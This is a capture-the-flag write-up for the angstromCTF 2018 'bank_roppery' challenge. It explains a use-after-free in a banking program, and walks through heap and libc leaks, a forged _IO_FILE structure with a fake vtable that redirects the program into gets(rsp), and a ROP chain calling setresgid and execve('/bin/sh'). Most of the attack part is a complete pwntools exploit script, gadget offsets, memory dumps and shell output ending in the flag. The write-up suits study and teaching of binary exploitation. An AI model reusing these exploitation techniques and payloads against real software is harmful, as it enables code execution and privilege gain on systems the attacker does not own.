angstromCTF 2018 - bank_roppery (6 solves)
Attachment: bank_roppery libc.so.6 xpl.py
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
Welcome to GNT Holdings, the most secure bank in the world!
You can deposit/withdraw money, write checks, and store your possessions safely
Let's start by getting you logged in
Enter username: AAAABBBB
Enter a password: CCCCDDDD
New user AAAABBBB created
Welcome, AAAABBBB! Here are the commands you can use:
d - Deposit money in an account
w - Withdraw money from an account
v - View account balance
c - Write a check for an account
s - Store an object in a safe deposit box
r - Retrieve an object from a safe deposit box
e - Enumerate all the items in a safe deposit box
p - Change the user's password
l - Login as a different user
h - Print this very menu
x - Exit the program
>
Well, this was one of the challenges on angstromCTF 2018, which kept me busy for a while (almost sure, I just overcomplicated it, but well ;-))
It contained an obvious UAF in the store_object
function:
void store_object()
{
sdobj_t *sdobj = (sdobj_t*)malloc(sizeof(sdobj_t));
sdobj->size = read_float("volume of the object (in cm^3)");
while (isnan(sdobj->size))
{
printf("Invalid decimal number\n");
sdobj->size = read_float("volume of the object (in cm^3)");
}
// UAF
if (sdobj->size > 5000.0)
{
printf("Object is too large\n");
free(sdobj);
}
printf("Enter the short description: ");
fflush(stdout);
readline(sdobj->name, 32, stdin);
printf("Enter the long description: ");
fflush(stdout);
readline(sdobj->desc, 64, stdin);
printf("Enter who owns it: ");
fflush(stdout);
readline(sdobj->owner, 32, stdin);
sdobj->next = NULL;
if (account.sdbox == NULL)
{
account.sdbox = sdobj;
}
else
{
sdobj_t *cur = account.sdbox;
while (cur->next) cur = cur->next;
cur->next = sdobj;
}
write_account();
}
But where to go from with that…
Well, first things first, we need some leaks. For this, we just create some objects in the deposit box and then retrieve some of them to fill the unsorted bin list and their FD/BK pointers.
We can then recreate an entry in the deposit box, but this time, we’ll specify an invalid object size, so the chunk gets freed, before we fill it.
When store_object
calls write_account
after this, it will open the .account
file and fopen
will allocate a chunk for it’s file structure. Since our deposit chunk doesn’t match the size of the requested chunk of fopen
, it will be put into the bin list and linked accordingly (overwriting the FD
pointer of our chunk with the address of one of the previously freed chunks, which happens to be the name
of our stored object).
Thus, we can leak a heap address from the name of the last deposited entry.
After this, we’ll store another object in the deposit box, which will then get served one of the initial freed chunks, and thus our freed chunk will get linked to main_arena
(and we can now leak a pointer to main_arena
via the name of this chunk).
As a side note, since many people seemed to have trouble with the challenge on the remote machine. You couldn’t execute the bank_roppery
binary in the folder /problems/bank_roppery
, since it would segfault, because it wasn’t allowed to write in that folder.
Easy solution for this, just create a symbolic link in your home directory to the binary, and it will write all its data to the home dir (where you obviously have write permissions).
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "shell.angstromctf.com"
USER = "team422720"
PW = "XXXXXXXXXXXX"
def store(size, shortdesc, longdesc, owner):
r.sendline("s")
r.sendlineafter(": ", size)
r.sendlineafter(": ", shortdesc)
r.sendlineafter(": ", longdesc)
r.sendlineafter(": ", owner)
r.recvuntil(">")
def retrieve(idx):
r.sendline("r")
r.sendlineafter(": ", str(idx))
r.recvuntil(">")
def enumerate():
r.sendline("e")
r.recvline()
r.recvline()
DATA = r.recvuntil("> ", drop=True)
return DATA.split("\n")
def exploit(r):
USERNAME = "Z"*8+p8(0x31)
PW = "CCCCDDDD"
r.sendlineafter("username: ", USERNAME)
r.sendlineafter("password: ", PW)
r.recvuntil(">")
payload = "D"*24+p8(0xa1)
log.info("Create initial chunks")
store("1000.0", "A"*8, "1"*8, "A1"*8) # 0
store("1000.0", "B"*8, "2"*8, "B1"*8) # 1
store("1000.0", "C"*8, "3"*8, "C1"*8) # 2
store("1000.0", "D"*8, "4"*8, "D1"*8) # 3
store("1000.0", "E"*8, "5"*8, "E1"*8) # 3
log.info("Free some chunks to fill unsorted bin list")
retrieve(3)
retrieve(1)
log.info("Create chunk (free it before filling to get a leak on FD/BK)")
store("6000.0", "", "A"*30, "B"*30)
log.info("Leak heap address via chunk 3")
HEAPLEAK = u64(enumerate()[3].split(": ")[1].split(" ")[0].strip().ljust(8, "\x00"))
log.info("Store another chunk to get main_arena ptr into freed chunk")
store("100.0", "F"*8, "6"*8, "F1"*8)
log.info("Leak LIBC via chunk 3")
LIBCLEAK = u64(enumerate()[3].split(": ")[1].split(" ")[0].strip().ljust(8, "\x00"))
log.info("HEAPLEAK : %s" % hex(HEAPLEAK))
log.info("LIBCLEAK : %s" % hex(LIBCLEAK))
r.interactive()
return
if __name__ == "__main__":
e = ELF("./bank_roppery")
libc = ELF("./libc.so.6")
if len(sys.argv) > 1:
LOCAL = False
session = ssh(USER, HOST, password=PW)
session.run("rm .account")
session.run("rm .password")
session.run("rm -rf ZZZZZZZZ1")
r = session.process(["./bank_roppery"])
exploit(r)
else:
LOCAL = True
os.system("rm .account")
os.system("rm .password")
os.system("rm -rf ZZZZZZZZ1")
r = process(["./bank_roppery"], env={"LD_PRELOAD":"./libc.so.6"})
print util.proc.pidof(r)
pause()
exploit(r)
python xpl.py
[*] '/vagrant/Challenges/angstrom/pwn/bankrop/b/bank_roppery'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/vagrant/Challenges/angstrom/pwn/bankrop/b/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './bank_roppery': pid 9216
[9216]
[*] Paused (press any to continue)
[*] Create initial chunks
[*] Free some chunks to fill unsorted bin list
[*] Create chunk (free it before filling to get a leak on FD/BK)
[*] Leak heap address via chunk 3
[*] Store another chunk to get main_arena ptr into freed chunk
[*] Leak LIBC via chunk 3
[*] HEAPLEAK : 0x6040a0
[*] LIBCLEAK : 0x7ffff7dd1c08
[*] Switching to interactive mode
So, we have the leaks, but still no useful overwrites. No pointers on the heap, which we could edit, even if we would be able to overwrite them. What a bummer…
What could we use that UAF for, then. Well, let’s take a look, how the new objects gets inserted into our deposit list.
It’s a single linked list, and to add an object to the list, the function store_object
iterates over all next
pointers, until it finds an empty one, and links our chunk there.
if (account.sdbox == NULL)
{
account.sdbox = sdobj;
}
else
{
sdobj_t *cur = account.sdbox;
while (cur->next) cur = cur->next;
cur->next = sdobj;
}
Let’s just think about the current situation in our heap.
We currently have 4 objects linked in the sdbox
list.
Name Owner
--------------------------------------------------------------------
0: AAAAAAAA A1A1A1A1A1A1A1A1
1: CCCCCCCC C1C1C1C1C1C1C1C1
2: EEEEEEEE E1E1E1E1E1E1E1E1
3:\x1c\xff\x7f BBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
4: FFFFFFFF F1F1F1F1F1F1F1F1
The object 3
is in our sdbox
list and also sits around in unsorted bin list (since it was freed before filling it), just waiting to get allocated on the next malloc
. If we create another object now, malloc
will serve us the address of chunk 3, which we can then overwrite. But if we just store another object there, we can only overwrite name
, owner
, etc. Not very useful.
What other objects can we create?
typedef struct
{
int date;
float amount_num;
char paid_to[32];
char amount_str[40];
char address[32];
char memo[28];
} __attribute__((__packed__)) check_t;
typedef struct sdobj
{
char name[32];
char desc[64];
char owner[32];
float size;
struct sdobj *next;
} __attribute__((__packed__)) sdobj_t;
Both types are of the same size.
If we examine both structs, you can see that the memo
field of check_t
is overlapping the same area, which would be covered by the next
pointer in a sdobj_t
object.
Thus, if we now create a check
, it will be created in the chunk, that is object 3
and we can overwrite the next
pointer of chunk 3 via the memo
field of the check
. On the next store_object
it would create an object on the heap, and store the address of this object at next+0x84
(next->next
).
There is only one problem with this: We cannot put an arbitrary address there. It has to point to a value of 0x0
, so store_object
will stop iterating and write the address of the next chunk there.
But let’s sum this up
- Overwrite
next
ptr of object3
with acheck
- On the next time, we call
store_object
it will create a chunk on the heap - and store the address of this object at
next->next
of object3
(which we overwrote with the previouscheck
)
Thus, we can overwrite an arbitrary address (as long as it contains 0x0
) with the address of our object.
Most interesting pointers (got
, IO_list_all
, etc.) will already contain a value, so we won’t be able to use them.
But alas, we’re dealing with libc 2.23
, so _IO_FILE
struct is going to help us out :)
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags
/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
When the application exits, it will call _IO_flush_all_lockp
to clean up file handles.
For iterating all open file structures, it takes the first file pointer from _IO_list_all
(pointing to stderr
). It will do some checks, eventually calling some cleanup methods and then try to continue with the next file structure. The next open file structure should be stored in the _chain
ptr of the current one, so it will continue with that until _chain
is NULL
(no more files to check).
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp);
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) )
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
if (do_lock)
_IO_funlockfile (fp);
run_fp = NULL;
if (last_stamp != _IO_list_all_stamp)
{
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain; // Get next file ptr from chain
}
Did the last sentence sound intriguing? Right, the _chain
ptr of stdin
will be 0x0
, since it’s the last open file structure. And we are able to write a heap address to an arbitrary address, which contains 0x0
. Gotcha…
Thus, we can create a check
to overwrite the next
ptr in our object 3
with the address of _chain
in stdin
(better said _chain-0x84
, since we overwrite its next
ptr). The next object allocation will then create an object on the heap and store its address in stdins _chain
.
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) )
&& _IO_OVERFLOW (fp, EOF) == EOF)
On a later exit, _IO_flush_all_lockp
will thus handle the _chain
ptr of stdin
as another file structure and happily apply the code above on it.
If we’re able to fulfill
(fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
it will execute
_IO_OVERFLOW (fp, EOF)
which is just a macro to call the overflow
function from the vtable
of the file structure.
#define _IO_JUMPS(THIS) (THIS)->vtable
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
Let’s sum it up:
- Overwrite
next
ptr of object3
with_chain-0x84
ofstdin
- Next object allocation will create an object on the heap and write its address into
_chain
ofstdin
- If
_IO_write_ptr
in our fake file struct on the heap is bigger than_IO_write_base
it will try to use the (fake)vtable
entry in our fake structure to callvtable->__overflow
Thus, we just have to forge a proper fake file struct on the heap, to be able to call an arbitrary function, which will get the address of the file struct as its first argument.
At this point, I just tried this to call system("/bin/sh")
, which will give you a shell on the system… But you won’t be in the right usergroup and not able to access the flag. We have to call setresgid
before. In the end I opted to use the _IO_file
approach to do a gets(rsp)
, writing a ropchain, which will call setresgid
and then execve("/bin/sh")
.
libc.address = LIBCLEAK - 0x3c4c08
log.info("Overwrite next ptr in chunk with ptr to chain ptr of stdin")
payload = "E"*20
payload += p64(LIBCLEAK-0x2c0-0x84)[:7] # address of stdin._chain
check("200.0", "A"*30, "B"*30, "D"*30, payload)
log.info("Overwrite chain ptr in stdin with ptr to next stored chunk (and fill with IO_file struct)")
# mov rdi, rsp, call qword ptr [rax+0x20h]
CALLGETS = libc.address + 0x12b86b
RET = libc.address + 0xae876 # ret
payload1 = p64(0) + p64(0)
payload1 += p64(0) + p64(0)[:7]
payload2 = p64(0) + p64(RET)
payload2 += p64(0) + p64(0)
payload2 += p64(0) + p64(0)
payload2 += p64(8) + p64(CALLGETS)[:7]
payload3 = p64(libc.symbols["gets"]) + p64(0) # next chain
payload3 += p64(0x0) + p64(0xffffffffffffffff)[:7]
store2("100.0", payload1, payload2, payload3)
payload1 = p64(0) + p64(0)
payload1 += p64(0) + p64(0)
payload2 = p64(0) + p64(0)
payload2 += p64(0)[:7] + p64(HEAPLEAK + 0x328-0x18) # vtable
payload2 += "C"*(64-len(payload2))
store2("100.0", payload1, payload2, payload3)
Storing the ret
gadget in _IO_write_ptr
was just coincidentally, since I needed to put it somewhere for later use in the rop chain. As long as _IO_write_ptr
> _IO_write_base
, everything’s fine ;)
This will create the following fake file structure on the heap.
x/30gx 0x604370-0x10
0x604370: 0x0000000000000000 0x0000000000000000 <== fp
0x604380: 0x0000000000000000 0x0000000000000000
0x604390: 0x0000000000000000 0x00007ffff7abb876 <== _IO_write_base / _IO_write_ptr (also RET gadget)
0x6043a0: 0x0000000000000000 0x0000000000000000
0x6043b0: 0x0000000000000000 0x0000000000000000
0x6043c0: 0x0000000000000008 0x00007ffff7b3886b <== ptr to CALLGETS gadget
0x6043d0: 0x00007ffff7a7bd80 0x0000000000000000 <== ptr to gets
0x6043e0: 0x0000000000000000 0x00ffffffffffffff
0x6043f0: 0x0060441042c80000 0x0000000000000000
0x604400: 0x0000000000000000 0x00000000000000a1
0x604410: 0x0000000000000000 0x0000000000000000
0x604420: 0x0000000000000000 0x0000000000000000
0x604430: 0x0000000000000000 0x0000000000000000
0x604440: 0x0000000000000000 0x00000000006043b0 <== fake vtable address
0x604450: 0x4343434343434343 0x4343434343434343
0x604460: 0x4343434343434343 0x0043434343434343
0x604470: 0x7ffff7a7bd804343 0x0000000000000000
x/30gx 0x00007ffff7dd18e0
0x7ffff7dd18e0 <_IO_2_1_stdin_>: 0x00000000fbad208b 0x00007ffff7dd1963
0x7ffff7dd18f0 <_IO_2_1_stdin_+16>: 0x00007ffff7dd1963 0x00007ffff7dd1963
0x7ffff7dd1900 <_IO_2_1_stdin_+32>: 0x00007ffff7dd1963 0x00007ffff7dd1963
0x7ffff7dd1910 <_IO_2_1_stdin_+48>: 0x00007ffff7dd1963 0x00007ffff7dd1963
0x7ffff7dd1920 <_IO_2_1_stdin_+64>: 0x00007ffff7dd1964 0x0000000000000000
0x7ffff7dd1930 <_IO_2_1_stdin_+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1940 <_IO_2_1_stdin_+96>: 0x0000000000000000 0x0000000000604370 <== _chain pointing to our fake file
0x7ffff7dd1950 <_IO_2_1_stdin_+112>: 0x0000000000000000 0xffffffffffffffff
0x7ffff7dd1960 <_IO_2_1_stdin_+128>: 0x00000000ff000000 0x00007ffff7dd3790
0x7ffff7dd1970 <_IO_2_1_stdin_+144>: 0xffffffffffffffff 0x0000000000000000
0x7ffff7dd1980 <_IO_2_1_stdin_+160>: 0x00007ffff7dd19c0 0x0000000000000000
0x7ffff7dd1990 <_IO_2_1_stdin_+176>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd19a0 <_IO_2_1_stdin_+192>: 0x00000000ffffffff 0x0000000000000000
0x7ffff7dd19b0 <_IO_2_1_stdin_+208>: 0x0000000000000000 0x00007ffff7dd06e0
Sooooooo. When we exit the program, it will
- call
_IO_flush_all_lockp
- iterate through the file handles arriving at our fake chunk
- comparing
_IO_write_ptr
to_IO_write_base
, and since it’s bigger, callsvtable->overflow
- our
vtable
points to 0x60403b0 - The function pointer for
overflow
is atvtable + 0x18
(in this example0x6043c8
) - We put the address to our call gadget at
0x6043c8
, so this will now call
mov rdi, rsp;
call qword ptr [rax+0x20h]
- At this point
rax
will contain our fakevtable
, so it will callvtable + 0x20
, which is0x6043d0
. That’s the reason we storedgets
there. - So this will basically just call
gets(rsp)
, allowing us to put a huge ropchain there, which makes exploitation a lot easier now. - After the call to get, the gadget will do an
mov rax,QWORD PTR [rsp+0x8]
mov rax,QWORD PTR [rax+0x38]
...
call rax
add rsp,0x30
pop rbx
- So, we just put the address of a
ret
gadget atrsp+0x8
and fillup the ropchain because ofadd rsp, 0x30; pop rbx
.
The problem with just executing system("/bin/sh")
was, that we were missing the right user group to read the flag, but with being able to rop, this shouldn’t be a problem anymore.
log.info("Exit will trigger our fake IO_file => gets(rsp)")
r.sendline("5")
r.sendline()
log.info("Send ropchain (setresgid + execve)")
POPRAX = libc.address + 0x0000000000033544
POPRDI = libc.address + 0x0000000000021102
POPRSI = libc.address + 0x00000000000202e8
POPRDX = libc.address + 0x0000000000001b92
SYSCALL = libc.address + 0x00000000000bc375
payload = "A"*8
payload += p64(HEAPLEAK + 0x2f8 - 0x38) # gadget will call rax+0x38 (=> ret)
payload += p64(0xdeadbeef)*5
# setresgid (1011, 1011, 1011)
payload += p64(POPRAX)
payload += p64(119)
payload += p64(POPRDI)
payload += p64(1011)
payload += p64(POPRSI)
payload += p64(1011)
payload += p64(POPRDX)
payload += p64(1011)
payload += p64(SYSCALL)
# execve("/bin/sh")
payload += p64(POPRAX)
payload += p64(59)
payload += p64(POPRDI)
payload += p64(next(libc.search("/bin/sh")))
payload += p64(POPRSI)
payload += p64(0)
payload += p64(POPRDX)
payload += p64(0)
payload += p64(SYSCALL)
r.sendline(payload)
r.sendline()
r.interactive()
The ropchain calls setresgid(1011, 1011, 1011)
to fix our usergroup and then execve("/bin/sh")
, which pops a shell.
If trying this locally, you’ll see that stdin
and stdout
will already be closed, so you won’t be able to get any output from the shell.
But since we’re connecting remotely via ssh
, we’ll still have a socket fd for input/output, so this isn’t a problem.
[*] '/vagrant/Challenges/angstrom/pwn/bankrop/b/bank_roppery'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] '/vagrant/Challenges/angstrom/pwn/bankrop/b/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Connecting to shell.angstromctf.com on port 22: Done
[!] Couldn't check security settings on 'shell.angstromctf.com'
[+] Opening new channel: 'rm .account': Done
[+] Opening new channel: 'rm .password': Done
[+] Opening new channel: 'rm -rf ZZZZZZZZ1': Done
[+] Starting remote process './bank_roppery' on shell.angstromctf.com: pid 28979
[*] Create initial chunks
[*] Free some chunks to fill unsorted bin list
[*] Create chunk (free it before filling to get a leak on FD/BK)
[*] Leak heap address via chunk 3
[*] Store another chunk to get main_arena ptr into freed chunk
[*] Leak LIBC via chunk 3
[*] HEAPLEAK : 0x9df0a0
[*] LIBCLEAK : 0x7fe22ac04c08
[*] Overwrite next ptr in chunk with ptr to chain ptr of stderr
[*] Overwrite chain ptr in stderr with ptr to next stored chunk (and fill with IO_file struct)
[*] Exit will trigger our fake IO_file => gets(rsp)
[*] Send ropchain (setresgid + execve)
[*] Switching to interactive mode
> > $ $ id
uid=2034(team422720) gid=1011(problem-bank_roppery) groups=1011(problem-bank_roppery),1000(teams)
$ $ cat /problems/bank_roppery/flag
actf{the_yuge_banks_should_be_broken_into_little_pieces}
Only problem left, the webpage didn’t want to accept the flag.
Thanks to kmh11
from irc for fixing this issue, resulting in the last pwn challenge being solved :)